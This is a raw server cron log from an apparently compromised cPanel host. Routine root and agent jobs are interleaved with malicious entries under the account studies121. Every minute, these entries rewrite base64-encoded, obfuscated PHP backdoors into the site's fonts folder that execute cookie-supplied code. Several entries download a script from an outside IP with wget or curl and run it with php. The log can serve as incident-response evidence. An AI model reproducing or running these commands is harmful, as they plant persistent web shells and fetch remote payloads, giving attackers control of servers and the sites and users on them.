Sep 10 14:26:01 ip-184-168-122-23 CROND[23193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:26:01 ip-184-168-122-23 CROND[23196]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 10 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 10 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 10 14:27:01 ip-184-168-122-23 CROND[23460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:27:01 ip-184-168-122-23 CROND[23462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:27:01 ip-184-168-122-23 CROND[23464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:27:01 ip-184-168-122-23 CROND[23463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:28:01 ip-184-168-122-23 CROND[23545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:28:01 ip-184-168-122-23 CROND[23547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:28:01 ip-184-168-122-23 CROND[23548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:28:01 ip-184-168-122-23 CROND[23550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:28:01 ip-184-168-122-23 CROND[23549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:29:01 ip-184-168-122-23 CROND[23656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:29:01 ip-184-168-122-23 CROND[23657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:29:01 ip-184-168-122-23 CROND[23658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:29:01 ip-184-168-122-23 CROND[23660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:30:02 ip-184-168-122-23 CROND[23754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:30:02 ip-184-168-122-23 CROND[23757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:30:02 ip-184-168-122-23 CROND[23758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:30:02 ip-184-168-122-23 CROND[23759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:30:02 ip-184-168-122-23 CROND[23762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:30:02 ip-184-168-122-23 CROND[23760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:30:02 ip-184-168-122-23 CROND[23761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:30:02 ip-184-168-122-23 CROND[23765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:31:01 ip-184-168-122-23 CROND[23894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:31:01 ip-184-168-122-23 CROND[23897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:31:01 ip-184-168-122-23 CROND[23896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:31:01 ip-184-168-122-23 CROND[23898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:31:01 ip-184-168-122-23 CROND[23899]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:32:02 ip-184-168-122-23 CROND[24112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:32:02 ip-184-168-122-23 CROND[24115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:32:02 ip-184-168-122-23 CROND[24114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:32:02 ip-184-168-122-23 CROND[24119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:32:02 ip-184-168-122-23 CROND[24117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:33:01 ip-184-168-122-23 CROND[24213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:33:01 ip-184-168-122-23 CROND[24216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:33:01 ip-184-168-122-23 CROND[24215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:33:01 ip-184-168-122-23 CROND[24217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:34:01 ip-184-168-122-23 CROND[24299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:34:01 ip-184-168-122-23 CROND[24302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:34:01 ip-184-168-122-23 CROND[24304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:34:01 ip-184-168-122-23 CROND[24301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:34:01 ip-184-168-122-23 CROND[24303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24414]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:35:01 ip-184-168-122-23 CROND[24411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24416]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 14:35:01 ip-184-168-122-23 CROND[24412]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:36:01 ip-184-168-122-23 CROND[24548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:36:01 ip-184-168-122-23 CROND[24551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:36:01 ip-184-168-122-23 CROND[24550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:36:01 ip-184-168-122-23 CROND[24552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:36:01 ip-184-168-122-23 CROND[24553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:37:01 ip-184-168-122-23 CROND[24732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:37:01 ip-184-168-122-23 CROND[24734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:37:02 ip-184-168-122-23 CROND[24736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:37:02 ip-184-168-122-23 CROND[24735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:38:01 ip-184-168-122-23 CROND[24817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:38:01 ip-184-168-122-23 CROND[24819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:38:01 ip-184-168-122-23 CROND[24822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
